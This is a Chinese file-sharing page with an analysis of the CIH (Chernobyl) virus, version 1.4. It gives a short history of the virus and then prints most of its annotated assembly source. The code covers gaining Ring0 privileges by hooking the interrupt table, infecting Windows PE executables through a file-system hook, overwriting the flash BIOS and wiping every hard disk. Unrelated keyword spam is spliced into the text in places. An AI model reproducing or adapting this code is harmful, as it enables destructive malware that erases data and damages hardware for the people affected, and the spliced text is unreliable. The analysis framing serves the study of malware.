首页 病毒程序源码实例剖析-CIH病毒

病毒程序源码实例剖析-CIH病毒

举报
开通vip

病毒程序源码实例剖析-CIH病毒 CIH 病毒是继 DOS 病毒、Windows 病毒、宏病毒后的第四类新型病毒。这种病 毒与 DOS 下的传统病毒有很大不同,它使用面向 Windows 的 Vxd 技术编制。该 病毒是第一个直接攻击、破坏硬件的计算机病毒,是迄今为止破坏最为严重的病 毒。 CIH 病毒主要感染 Windows 95/98/Me 的可执行程序,发作时破坏计算机 Flash BIOS 芯片中的系统程序,导致主板损坏,同时破坏硬盘中的数据。病毒 发作时,硬盘驱动器不停地旋转,病毒程序以 2048 个扇区为单位,从硬盘主引 导区开 始...

病毒程序源码实例剖析-CIH病毒
CIH 病毒是继 DOS 病毒、Windows 病毒、宏病毒后的第四类新型病毒。这种病 毒与 DOS 下的传统病毒有很大不同,它使用面向 Windows 的 Vxd 技术编制。该 病毒是第一个直接攻击、破坏硬件的计算机病毒,是迄今为止破坏最为严重的病 毒。 CIH 病毒主要感染 Windows 95/98/Me 的可执行程序,发作时破坏计算机 Flash BIOS 芯片中的系统程序,导致主板损坏,同时破坏硬盘中的数据。病毒 发作时,硬盘驱动器不停地旋转,病毒程序以 2048 个扇区为单位,从硬盘主引 导区开 始依次往硬盘中写入垃圾数据,直到硬盘数据被全部破坏为止。硬盘上 所有数据(包括分区 关于同志近三年现实表现材料材料类招标技术评分表图表与交易pdf视力表打印pdf用图表说话 pdf )被破坏,必须重新分区才能有可能挽救硬盘。同时,对 于部分厂牌的 主板,如技嘉和微星等,会将 Flash BIOS 中的系统程序破坏, 造成开机后系统无反应。 CIH 病毒是 1998 年 8 月从台湾传入国内的,共有五个版本,各种不同版本 随时间而发展,不断完善,其发展历程如下: (1)CIH 病毒 1.0 版 最初的 1.0 版只有 656 个字节,雏形显得比较简单,与普通类型的病毒在 结构上并无多大的改善,其最大的特点是可感染 Microsoft Windows PE 类可执 行文件,被其感染的程序文件长度增加,1.0 版的 CIH 病毒还不具有破坏性。 (2)CIH 病毒 1.1 版 当 CIH 病毒发展到 1.1 版本时,病毒长度为 796 个字节,该版本的 CIH 病毒 具有判断 Windows NT 软件的功能,一旦判断用户运行的是 Windows NT,则不发 生作用,进行自我隐藏,以避免产生错误提示信息,同时使用了更加优化的代码, 以缩减其长度。 1.1 版 CIH 病毒的另外一个改进点在于其可以利用 Windows PE 类可执行文 件中的“空隙”, 将自身根据需要分裂成几个部分后,分别插入到 PE 类可执行 文件中,这样做的优点是在感染大部分 Windows PE 类文件时,不会导致文件长 度增加。 (3)CIH 病毒 1.2 版 当 CIH 病毒发展到 1.2 版时,除改正了一些 1.1 版的缺陷之外,同时增加了 破坏用户硬盘以及用户机器 BIOS 程序的代码,这一改进,使其步入恶性病毒的 行列,1.2 版的 CIH 病毒体长度为 1003 个字节。 (4)CIH 病毒 1.3 版 1.2版CIH病毒最大的缺陷在于当其感染ZIP自解压包文件时,将导致此ZIP 压缩包在自解压时出现下列错误警告信息: WinZip Self-Extractor header corrupt. Possible cause: disk or file transfer error. 1.3 版 CIH 病毒显得比较仓促,其改进点便是针对以上缺陷的,它的改进方 法是: 一旦判断开启的文件是 WinZip 类的自解压程序,则不进行感染。同时, 此版本的CIH病毒修改了病毒发作时间,由原来的 4月 26日改为6月 26日。1.3 版 CIH 病毒长度为 1010 个字节。 (4)CIH 病毒 1.4 版 1.4 版 CIH 病毒改进了以前几个版本中的缺陷,不感染 ZIP 自解压包文件, 同时也修改了发作日期,由 6月 26 日改为每月的 26 日,增加了病毒 发作的频 率。还修改了病毒中的版权信息(版权信息被更改为:“CIH v1.4 TATUNG”, 在以前版本中的相关信息为“CIH v1.x TTIT”),1.4 版 CIH 病毒长度为 1019 字节。 如前所述,CIH 病毒创造了病毒历史上的几个第一,具有十分强大的破坏力, 该病毒的发作给全世界造成了不可估量的损失。那么,具有如此之大“杀伤”力 的代码是如何编写出来的呢?下面,我们以 CIH 病毒的 1.4 版为实例,分析其部 分核心代码。 OriginalAppEXE SEGMENT ;PE格式可执行文件文件头 FileHeader: db 04dh, 05ah, 090h, 000h, 003h, 000h, 000h, 000h db 004h, 000h, 000h, 000h, 0ffh, 0ffh, 000h, 000h db 0b8h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 040h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 080h, 000h, 000h, 000h db 00eh, 01fh, 0bah, 00eh, 000h, 0b4h, 009h, 0cdh db 021h, 0b8h, 001h, 04ch, 0cdh, 021h, 054h, 068h db 069h, 073h, 020h, 070h, 072h, 06fh, 067h, 072h db 061h, 06dh, 020h, 063h, 061h, 06eh, 06eh, 06fh db 074h, 020h, 062h, 065h, 020h, 072h, 075h, 06eh db 020h, 069h, 06eh, 020h, 044h, 04fh, 053h, 020h db 06dh, 06fh, 064h, 065h, 02eh, 00dh, 00dh, 00ah db 024h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 050h, 045h, 000h, 000h, 04ch, 001h, 001h, 000h db 0f1h, 068h, 020h, 035h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 0e0h, 000h, 00fh, 001h db 00bh, 001h, 005h, 000h, 000h, 010h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 010h, 010h, 000h, 000h, 000h, 010h, 000h, 000h db 000h, 020h, 000h, 000h, 000h, 000h, 040h, 000h db 000h, 010h, 000h, 000h, 000h, 002h, 000h, 000h db 004h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 004h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 020h, 000h, 000h, 000h, 002h, 000h, 000h db 000h, 000h, 000h, 000h, 002h, 000h, 000h, 000h db 000h, 000h, 010h, 000h, 000h, 010h, 000h, 000h db 000h, 000h, 010h, 000h, 000h, 010h, 000h, 000h db 000h, 000h, 000h, 000h, 010h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 02eh, 074h, 065h, 078h, 074h, 000h, 000h, 000h db 000h, 010h, 000h, 000h, 000h, 010h, 000h, 000h db 000h, 010h, 000h, 000h, 000h, 002h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 020h, 000h, 000h, 060h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 0c3h, 000h, 000h, 000h, 000h, 000h, 000h, 000h dd 00000000h, VirusSize OriginalAppEXE ENDS ; 病毒程序开始 TRUE = 1 FALSE = 0 DEBUG = FALSE ;标识其版本号为 1.4版 MajorVirusVersion = 1 ;主版本号 MinorVirusVersion = 4 ;次版本号 VirusVersion = MajorVirusVersion*10h+MinorVirusVersion ;合成版本号 IF DEBUG ;是否调试 FirstKillHardDiskNumber = 81h ;破坏 D盘 HookExceptionNumber = 05h ;使用 5号中断 ELSE FirstKillHardDiskNumber = 80h ;破坏 C盘 HookxceptionNumber = 03h ;使用 3号中断 ENDIF FileNameBufferSize = 7fh ;病毒代码段开始 VirusGame SEGMENT ASSUME CS:VirusGame, DS:VirusGame, SS:VirusGame ASSUME ES:VirusGame, FS:VirusGame, GS:VirusGame MyVirusStart: push ebp ;修改系统异常处理,避免产生错误提示信息 lea eax, [esp-04h*2] xor ebx, ebx xchg eax, fs:[ebx] call @0 @0: pop ebx ;获取程序起始偏移量,用此偏移量+相对偏移量获得绝对地址 lea ecx, StopToRunVirusCode-@0[ebx] push ecx push eax ; 修改中断描述表,以获得最高 Ring0级权限 push eax sidt [esp-02h] ;获得中断描述表的基址到 ebx pop ebx ; add ebx, HookExceptionNumber*08h+04h ;计算要用中断的基址到 ebx cli ;在修改之前先关中断 mov ebp, [ebx] ;获得异常处理的基址 mov bp, [ebx-04h] ;获得入口 lea esi, MyExceptionHook-@1[ecx] push esi ;esi为病毒中断例程地址 mov [ebx-04h], si ; shr esi, 16 ;修改异常 mov [ebx+02h], si ;修改中断基址使指向病毒中断例程 pop esi ;生成进入 ring0级的异常 int HookExceptionNumber ;以中断的方式进入 Ring0级 ReturnAddressOfEndException = $ ; 合并所有病毒代码 push esi mov esi, eax ;esi指向病毒开始处 ;循环进行复制 LoopOfMergeAllVirusCodeSection: mov ecx, [eax-04h] rep movsb ;复制病毒代码到分配好的系统内存首址 sub eax, 08h mov esi, [eax] or esi, esi jz QuitLoopOfMergeAllVirusCodeSection ; ZF = 1 jmp LoopOfMergeAllVirusCodeSection ;复制下一段 QuitLoopOfMergeAllVirusCodeSection: pop esi int HookExceptionNumber ; 保存异常处理 ReadyRestoreSE: sti ;开中断 xor ebx, ebx jmp RestoreSE ; 当发生异常时,说明目前在Windows NT下,病毒将停止运行,直接跳转到原来程序 StopToRunVirusCode: @1 = StopToRunVirusCode xor ebx, ebx mov eax, fs:[ebx] mov esp, [eax] RestoreSE: pop dword ptr fs:[ebx] pop eax ; 跳转到原来程序,正常执行 pop ebp push 00401000h ; Push Original OriginalAddressOfEntryPoint = $-4 ;把原程序的起始地址入栈 ret ;以子程序返回形式返回到原程序的开始处 ;病毒初始化模块 MyExceptionHook: @2 = MyExceptionHook jz InstallMyFileSystemApiHook ;如果病毒代码已拷贝好了 ;就转到安装系统钩子的程序 mov ecx, dr0 ;察看 dr0是否设置过(dr0为病毒驻留标志) jecxz AllocateSystemMemoryPage ;没有设置,则分配系统内存 add dword ptr [esp], ReadyRestoreSE-ReturnAddressOfEndException ;返回到原来的程序 ExitRing0Init: mov [ebx-04h], bp ; shr ebp, 16 ; Restore Exception mov [ebx+02h], bp ;恢复原来的中断基址 iretd ;中断返回 ; 分配将要使用的系统内存 AllocateSystemMemoryPage: mov dr0, ebx ;设置病毒驻留的标志 dr0 push 00000000fh ; push ecx ; push 0ffffffffh ; push ecx ;调用方法 ULONG EXTERN _PageAllocate(ULONG nPages, ;ULONG pType, ULONG VM, ULONG AlignMask, ULONG minPhys, ;ULONG maxPhys, ULONG *PhysAddr,ULONG flags); push ecx ; push ecx ; push 000000001h ; push 000000002h ; int 20h ; VXD调用 _PageAllocate = $ dd 00010053h ;使用 eax、ecx、edx和 flags寄存器 add esp, 08h*04h ;恢复栈指针 xchg edi, eax ;edi指向分配好的系统内存首址 lea eax, MyVirusStart-@2[esi] ;eax指向病毒开始处 iretd ;退出中断 ; 初始化文件系统钩子 InstallMyFileSystemApiHook: lea eax, FileSystemApiHook-@6[edi] ;指向文件系统钩子程序首址 push eax ; int 20h ; Vxd调用 IFSMgr_InstallFileSystemApiHook IFSMgr_InstallFileSystemApiHook = $ dd 00400067h ;使用 eax、ecx、edx和 flags 寄存器 mov dr0, eax ;保存原来的文件系统钩子程序首址到 dr0 pop eax ;eax等于文件系统钩子程序首址 ;保存原来的 IFSMgr_InstallFileSystemApiHook功能调用的入口 mov ecx, IFSMgr_InstallFileSystemApiHook-@2[esi] mov edx, [ecx] ;edx为 IFSMgr_InstallFileSystemApiHook的入口 mov OldInstallFileSystemApiHook-@3[eax], edx ; 修改 IFSMgr_InstallFileSystemApiHook入口 lea eax, InstallFileSystemApiHook-@3[eax] mov [ecx], eax ;设置新的 IFSMgr_InstallFileSystemApiHook功能调用的地址 ;使指向 InstallFileSystemApiHook cli ;关中断 jmp ExitRing0Init ;退出 Ring0级 ;合并后的代码大小 CodeSizeOfMergeVirusCodeSection = offset $ ;新的 IFSMgr_InstallFileSystemApiHook功能调用 InstallFileSystemApiHook: push ebx call @4 @4: pop ebx ;获得当前指令的偏移地址 add ebx, FileSystemApiHook-@4 ;加上偏移的差等于 FileSystemApiHook的偏移 push ebx int 20h ;调用 Vxd移去指向 FileSystemApiHook的钩子 IFSMgr_RemoveFileSystemApiHook = $ dd 00400068h ;使用 eax、ecx、edx和 flags寄存器 pop eax ;调用原来的 IFSMgr_InstallFileSystemApiHook功能连接 FileSystemApiHook钩子 push dword ptr [esp+8] call OldInstallFileSystemApiHook-@3[ebx] pop ecx push eax push ebx call OldInstallFileSystemApiHook-@3[ebx] pop ecx mov dr0, eax ;调整 OldFileSystemApiHook地址 pop eax pop ebx ret OldInstallFileSystemApiHook dd ;原来的 InstallFileSystemApiHook调用地址 ;IFSMgr_FileSystemHook调用入口 FileSystemApiHook: @3 = FileSystemApiHook push ad ;保存寄存器 call @5 @5: pop esi ; mov esi, offset ;esi为当前指令的偏移 add esi, VirusGameDataStartAddress-@5 ;esi为 FileSystemApiHook的偏移 ;加 VirusGameDataStartAddress的偏移之差等于 VirusGameDataStartAddress的偏移 ;测试“忙”标志,“忙”则转到 pIFSFunc test byte ptr (OnBusy-@6)[esi], 01h jnz pIFSFunc ;如果没有打开文件,则转到 prevhook lea ebx, [esp+20h+04h+04h] ;ebx为 FunctionNum的地址 ;文件系统钩子的调用格式如下 ;FileSystemApiHookFunction(pIFSFunc FSDFnAddr, int FunctionNum, int Drive, ;int ResourceFlags, int CodePage, pioreq pir) ;判断此次调用是否是为了打开文件,如果不是就跳到前一个文件钩子去 cmp dword ptr [ebx], 00000024h jne prevhook inc byte ptr (OnBusy-@6)[esi] ; Enable OnBusy ;设置“忙”标志为“忙” ;获得文件路径指定的驱动器号,然后把驱动器名称放到 FileNameBuffer中 ;如果驱动器号为 03h,则说明该盘是 C盘 mov esi, offset FileNameBuffer add esi, FileNameBuffer-@6 ;esi指向 FileNameBuffer push esi ;保存 mov al, [ebx+04h] ;ebx+4为磁盘号的地址 ;是否 UNC(universal naming conventions)地址,如果是就转 CallUniToBCSPath cmp al, 0ffh je CallUniToBCSPath add al, 40h mov ah, ':' mov [esi], eax ;处理成"X:"的形式,即在盘符后面增加一个冒号 inc esi inc esi ;把 Canonicalized Unicode的字符转换为普通的 BCS字符集,调用方法 ;UniToBCSPath(unsigned char * pBCSPath, ParsedPath * pUniPath, ;unsigned int maxLength, int charSet) CallUniToBCSPath: push 00000000h ;字符集 push FileNameBufferSize ;字符长度 mov ebx, [ebx+10h] mov eax, [ebx+0ch] add eax, 04h push eax ;Uni字符首址 push esi ;BCS字符首址 int 20h ;调用 UniToBCSPath UniToBCSPath = $ dd 00400041h 调用 id add esp, 04h*04h ;判断文件是否是 EXE文件 cmp [esi+eax-04h], 'EXE.' pop esi jne DisableOnBusy IF DEBUG ;以下信息为调试用 cmp [esi+eax-06h], 'KCUF' jne DisableOnBusy ENDIF ;判断文件是否存在,如果不存在,则转向 DisableOnBusy处 cmp word ptr [ebx+18h], 01h jne DisableOnBusy ;获得文件属性 mov ax, 4300h int 20h ;调用 IFSMgr_Ring0_FileIO获得文件属性的功能 IFSMgr_Ring0_FileIO = $ dd 00400032h ;调用号 jc DisableOnBusy push ecx ;获得 IFSMgr_Ring0_FileIO地址 mov edi, dword ptr (IFSMgr_Ring0_FileIO-@7)[esi] mov edi, [edi] ;判断是否只读文件,如果是,则修改文件属性,否则转向 OpenFile处 test cl, 01h jz OpenFile mov ax, 4301h xor ecx, ecx call edi ;调用 IFSMgr_Ring0_FileIO修改文件属性的功能,使文件可写 ;打开文件 OpenFile: xor eax, eax mov ah, 0d5h xor ecx, ecx ;文件属性 xor edx, edx inc edx mov ebx, edx inc ebx ;esi为文件名首址 call edi ;调用 IFSMgr_Ring0_FileIO打开文件的功能 xchg ebx, eax ;在 ebx中保存文件句柄 ;是否需要恢复文件属性(有写属性就不需要恢复了) pop ecx pushf test cl, 01h jz IsOpenFileOK ;恢复文件属性 mov ax, 4301h call edi ;恢复文件属性 ;文件打开是否成功,如果不成功,则转向 DisableOnBusy处 IsOpenFileOK: popf jc DisableOnBusy ;文件打开成功 push esi ;把文件名数据区首址入栈 pushf ;CF = 0,保存标志位 add esi, DataBuffer-@7 ;esi指向数据区首址 ;获得新文件头的偏移 xor eax, eax mov ah, 0d6h ;IFSMgr_Ring0_FileIO的读文件功能号(R0_READFILE) ;为了达到使病毒代码长度最少的目的,把 eax保存到 ebp mov ebp, eax push 00000004h ;读取 4个字节 pop ecx push 0000003ch ;读取 DOS文件头偏移 3ch处的Windows文件头首部偏移 pop edx call edi ;读文件到 esi mov edx, [esi] ;Windows文件头首部偏移放到 edx ; 获得图形文件头的 PE标记和已感染标记 dec edx mov eax, ebp ;功能号 call edi ;读文件到 esi ;判断是否是 PE,如果是,进一步判断是否已经感染过 ;判断是否是WinZip自解压文件,如果是,就不感染 Self-Extractor * cmp dword ptr [esi], 00455000h ;判断是否是 PE文件(标志"PE\0\0") jne CloseFile ;不是就关闭文件 ;如果是 PE文件,且没有被感染,就开始感染该文件 push ebx ;保存文件句柄 push 00h ;设置病毒感染标记 push 01h ;标记大小 push edx ;edx指向 PE文件头偏移 00h push edi ;edi为 IFSMgr_Ring0_FileIO的地址 mov dr1, esp ;保存 esp ;设置 NewAddressOfEntryPoint入口 push eax ;读文件头 mov eax, ebp mov cl, SizeOfImageHeaderToRead ;要读 2个字节 add edx, 07h ;PE文件头+07h为 NumberOfSections(块个数) call edi ;读出 NumberOfSections(块个数)到 esi lea eax, (AddressOfEntryPoint-@8)[edx] push eax ;文件指针 lea eax, (NewAddressOfEntryPoint-@8)[esi] push eax ; 缓冲区地址 ;把 edx的值放到文件病毒代码块表表的开始位置 movzx eax, word ptr (SizeOfOptionalHeader-@8)[esi] lea edx, [eax+edx+12h] ;edx为病毒代码块表的偏移 ;获得病毒代码块表的大小 mov al, SizeOfScetionTable ;每个块表项的大小 mov cl, (NumberOfSections-@8)[esi] mul cl ;每个块表项乘以块个数等于块表大小 ; 设置病毒代码块表 lea esi, (StartOfSectionTable-@8)[esi] ;esi指向块表首址(在病毒动态数据区中) push eax ;块表大小 push edx ;edx为病毒代码块表的偏移 push esi ;缓冲区地址 ;合并的病毒代码块和病毒代码块表的总大小必须小于等于未使用的空间大小 inc ecx push ecx ; Save NumberOfSections+1 shl ecx, 03h ;乘 8 push ecx ;预留病毒块表空间 add ecx, eax add ecx, edx ;ecx+文件的正文的偏移 sub ecx, (SizeOfHeaders-@9)[esi] not ecx inc ecx ;求补,ecx为文件头大小 - 正文的偏移 = 未用空间 push ecx xchg ecx, eax ;ecx为块表大小 mov eax, (AddressOfEntryPoint-@9][esi] ;入口 RVA地址 add eax, (ImageBase-@9)[esi] ;装入基址 mov (OriginalAddressOfEntryPoint-@9)[esi], eax ;保存装入后实际的入口地址 ;未用空间和病毒第一块大小比较,如果小于就只设感染标志 cmp word ptr [esp], small CodeSizeOfMergeVirusCodeSection jl OnlySetInfectedMark ; 读取所有病毒块表 mov eax, ebp ;读的功能号 call edi ;读块表到 esi(@9处) ;下面完全修改处理Winzip自解压文件的错误,当用户打开自解压文件时, ;病毒不会感染。首先,病毒获得第 2个块表的 ToRawData指针, ;读取该块数据,判断是否包含“WinZip(R)”字样 xchg eax, ebp push 00000004h pop ecx 读 4字节 push edx mov edx, (SizeOfScetionTable+PointerToRawData-@9][ebx] ;edx为第二块的偏移(.rdata) add edx, 12h ;加 10h+2h(10h处为"WinZip....") call edi ;读 4字节到 esi ;判断是否Winzip自解压文件,如果是就不设置感染标志 cmp dword ptr [esi], 'piZn' je NotSetInfectedMark pop edx ;edx指向块表在文件中首址 ; 设置病毒代码块表 pop ebx ;未用空间大小 pop edi ;edi = TotalSizeOfVirusCodeSectionTabl pop ecx ; ecx = NumberOfSections+1 push edi add edx, ebp ; ebp为块表大小 push edx ;文件指针 add ebp, esi ; ebp指向病毒数据区的块表后(第一块) push ebp ;缓冲区地址 ; 设置第一个病毒代码块的大小 lea eax, [ebp+edi-04h] mov [eax], ebx ; 设置第一个病毒块 push ebx ; 病毒代码第一块的大小 add edx, edi push edx ;文件指针 lea edi, (MyVirusStart-@9)[esi] push edi ;缓冲区地址 ;修改 AddressOfEntryPoint的入口为病毒入口 mov (NewAddressOfEntryPoint-@9)[esi], edx ;保存新的程序入口(病毒正文) ; 设置初始数据 lea edx, [esi-SizeOfScetionTable] ;edx先减一项块表长度 mov ebp, offset VirusSize ;ebp为病毒长度 jmp StartToWriteCodeToSections ;写信息到病毒块 LoopOfWriteCodeToSections: add edx, SizeOfScetionTable mov ebx, (SizeOfRawData-@9)[edx] ;ebx为该块表项的 SizeOfRawData(块大小) sub ebx, (VirtualSize-@9][edx] ;减去 VirtualSize等于该块未用空间 jbe EndOfWriteCodeToSections push ebx ; Size sub eax, 08h mov [eax], ebx ;写入病毒块表 mov ebx, (PointerToRawData-@9)[edx] ;ebx为块的物理(实际)偏移 add ebx, (VirtualSize-@9)[edx] ;加上 VirtualSize push ebx ;ebx指向该块未用空间的文件指针 push edi ; 缓冲区地址 mov ebx, (VirtualSize-@9)[edx] add ebx, (VirtualAddress-@9)[edx] add ebx, (ImageBase-@9)[esi] ;ebx为该块装入后的实际地址 mov [eax+4], ebx ;保存到病毒块表中 mov ebx, [eax] ;该块未用空间大小 add (VirtualSize-@9)[edx], ebx ;加到该块表项的 VirtualSize ;改该块表项的块属性(改为可读,并包含初始化数据) or (Characteristics-@9)[edx], 40000040h ;开始写代码 StartToWriteCodeToSections: sub ebp, ebx ;病毒大小-病毒块大小 ;如果小于(病毒插入完毕)就设置病毒块表结束符 jbe SetVirusCodeSectionTableEndMark add edi, ebx ;指向病毒下一块 ;写代码结束 EndOfWriteCodeToSections: loop LoopOfWriteCodeToSections OnlySetInfectedMark: mov esp, dr1 ;只设置感染标志 jmp WriteVirusCodeToFile ;跳到写病毒到要传染的文件的程序 ;不设置感染标志 NotSetInfectedMark: add esp, 3ch jmp CloseFile ;转到 CloseFile处 ;设置病毒块表和标记 SetVirusCodeSectionTableEndMark: ;调整病毒块代码 add [eax], ebp ;更正病毒块表的最后一项 add [esp+08h], ebp ;设置块表结束标志 xor ebx, ebx mov [eax-04h], ebx ; 当病毒程序调用 Vxd指令时,VMM修改 20号中断 lea eax, (LastVxdCallAddress-2-@9)[esi] ;上一个调用 Vxd指令的地址 mov cl, VxdCallTableSize ;所用 Vxd调用的个数 LoopOfRestoreVxdCallID: mov word ptr [eax], 20cdh ;还原成“int 20h”的形式 ;从 VxdCallIDTable取出 Vxd调用的 id号放到 edx mov edx, (VxdCallIDTable+(ecx-1)*04h-@9)[esi] mov [eax+2], edx ;放到“int 20h”的后面 ;VxdCallAddressTable中放着各个调用 Vxd的指令地址之差 movzx edx, byte ptr (VxdCallAddressTable+ecx-1-@9)[esi] sub eax, edx ;eax为上一个调用地址 loop LoopOfRestoreVxdCallID ;还原其他的调用 ; 把病毒代码写到文件中 WriteVirusCodeToFile: mov eax, dr1 ;dr1为前面所保存的 esp mov ebx, [eax+10h] ;ebx为保存在栈中的保存文件句柄 mov edi, [eax] ;edi为保存在栈中的 IFSMgr_Ring0_FileIO调用地址 ;循环写入 LoopOfWriteVirusCodeToFile: pop ecx ;病毒代码各段的偏移 jecxz SetFileModificationMark ;到病毒偏移零为止 mov esi, ecx mov eax, 0d601h ;写文件功能号(R0_WRITEFILE) pop edx ;文件指针 pop ecx ;要写的字节数 call edi ; VXD调用 IFSMgr_Ring0_FileIO,写文件 ;依次写入各段病毒代码、病毒块表、新的 ;文件块表、新的程序入口、感染标志 jmp LoopOfWriteVirusCodeToFile ; 修改文件的最后修改时间,使用户不知道文件已经被修改 SetFileModificationMark: pop ebx pop eax stc ;设置进位标志 pushf ;标志位入栈 ; 关闭文件 CloseFile: xor eax, eax mov ah, 0d7h ;关闭文件功能号 call edi ; Vxd调用 IFSMgr_Ring0_FileIO关闭文件 popf pop esi jnc IsKillComputer ;如果进位标志为 0,就转向 KillComputer ;恢复文件修改时间 mov ebx, edi mov ax, 4303h mov ecx, (FileModificationTime-@7)[esi] mov edi, (FileModificationTime+2-@7)[esi] call ebx ; Vxd调用 IFSMgr_Ring0_FileIO,修改文件的最后修改时间 ; 设置不“忙”标志 DisableOnBusy: dec byte ptr (OnBusy-@7)[esi] ; 调用原来的 FileSystemApiHook prevhook: popad ;恢复所有寄存器 mov eax, dr0 ; 保存的原来的文件系统钩子程序首址 jmp [eax] ;跳到原来的钩子去执行 pIFSFunc: mov ebx, esp ; ebx指向 esp以获得 FileSystemApiHookFunction的 参数 转速和进给参数表a氧化沟运行参数高温蒸汽处理医疗废物pid参数自整定算法口腔医院集中消毒供应 地址 push dword ptr [ebx+20h+04h+14h] ;把参数 pioreqpir入栈 call [ebx+20h+04h] ;调用 pIFSFunc FSDFnAddr pop ecx mov [ebx+1ch], eax ;修改 eax的值 ; 调用了 pIFSFunc之后,从返回值 pioreq中获得数据 cmp dword ptr [ebx+20h+04h+04h], 00000024h jne QuitMyVirusFileSystemHook ;获得在 DOS模式下的文件的修改日期和时间 mov eax, [ecx+28h] mov (FileModificationTime-@6)[esi], eax ;保存获得的文件时间和日期 ;退出病毒程序 QuitMyVirusFileSystemHook: popad ;恢复所有寄存器 ret ;从病毒设置的文件钩子程序中退出 ; 破坏计算机 BIOS IsKillComputer: ;从 BIOS CMOS中获得当前日期 mov al, 07h out 70h, al in al, 71h xor al, 26h ;判断是否是 26号, ;如果是调试程序,则转向 DisableOnBusy IF DEBUG jmp DisableOnBusy ELSE jnz DisableOnBusy ;如果不是 26号,则转向 DisableOnBusy,不进行破坏 ENDIF ;开始 破坏 BIOS EEPROM * mov bp, 0cf8h lea esi, IOForEEPROM-@7[esi] ;显示 000E0000 - 000EFFFF 地址段的 BIOS页面,共 64KB mov edi, 8000384ch mov dx, 0cfeh cli call esi ;显示 000F0000 - 000FFFFF地址段的 BIOS页面,共 64KB mov di, 0058h dec edx ; and a0fh mov word ptr (BooleanCalculateCode-@10)[esi], 0f24h call esi ; 显示 BIOS中额外的 000E0000 - 000E01FF段的 ROM数据,共 512个字节 ;和可写的 BIOS块 lea ebx, EnableEEPROMToWrite-@10[esi] mov eax, 0e5555h mov ecx, 0e2aaah call ebx mov byte ptr [eax], 60h push ecx loop $ ;破坏 BIOS中额外的 000E0000 - 000E007F段的 ROM数据,共 80h个字节 xor ah, ah mov [eax], al xchg ecx, eax loop $ ; 显示和激活 BIOS的 000E0000 - 000FFFFF段数据,共 128 KB,该段可写入信息 mov eax, 0f5555h pop ecx mov ch, 0aah call ebx mov byte ptr [eax], 20h loop $ ; 破坏 BIOS的 000FE000 - 000FE07F段数据,共 80h字节 mov ah, 0e0h mov [eax], al ; 隐藏 BIOS的 000F0000 - 000FFFFF段,共 64 KB mov word ptr (BooleanCalculateCode-@10)[esi], 100ch call esi ; 破坏所有硬盘 KillHardDisk: xor ebx, ebx mov bh, FirstKillHardDiskNumber push ebx sub esp, 2ch push 0c0001000h mov bh, 08h push ebx push ecx push ecx push ecx push 40000501h inc ecx push ecx push ecx mov esi, esp sub esp, 0ach ;循环进行破坏 LoopOfKillHardDisk: int 20h dd 00100004h cmp word ptr [esi+06h], 0017h je KillNextDataSection ;换下一个硬盘 ChangeNextHardDisk: inc byte ptr [esi+4dh] jmp LoopOfKillHardDisk ;破坏下一个区域 KillNextDataSection: add dword ptr [esi+10h], ebx mov byte ptr [esi+4dh], FirstKillHardDiskNumber jmp LoopOfKillHardDisk ;使 EEPROM能够写入信息 EnableEEPROMToWrite: mov [eax]
本文档为【病毒程序源码实例剖析-CIH病毒】,请使用软件OFFICE或WPS软件打开。作品中的文字与图均可以修改和编辑, 图片更改请在作品中右键图片并更换,文字修改请直接点击文字进行修改,也可以新增和删除文档中的内容。
该文档来自用户分享,如有侵权行为请发邮件ishare@vip.sina.com联系网站客服,我们会及时删除。
[版权声明] 本站所有资料为用户分享产生,若发现您的权利被侵害,请联系客服邮件isharekefu@iask.cn,我们尽快处理。
本作品所展示的图片、画像、字体、音乐的版权可能需版权方额外授权,请谨慎使用。
网站提供的党政主题相关内容(国旗、国徽、党徽..)目的在于配合国家政策宣传,仅限个人学习分享使用,禁止用于任何广告和商用目的。
下载需要: 免费 已有0 人下载
最新资料
资料动态
专题动态
is_746645
暂无简介~
格式:pdf
大小:219KB
软件:PDF阅读器
页数:25
分类:互联网
上传时间:2012-05-13
浏览量:190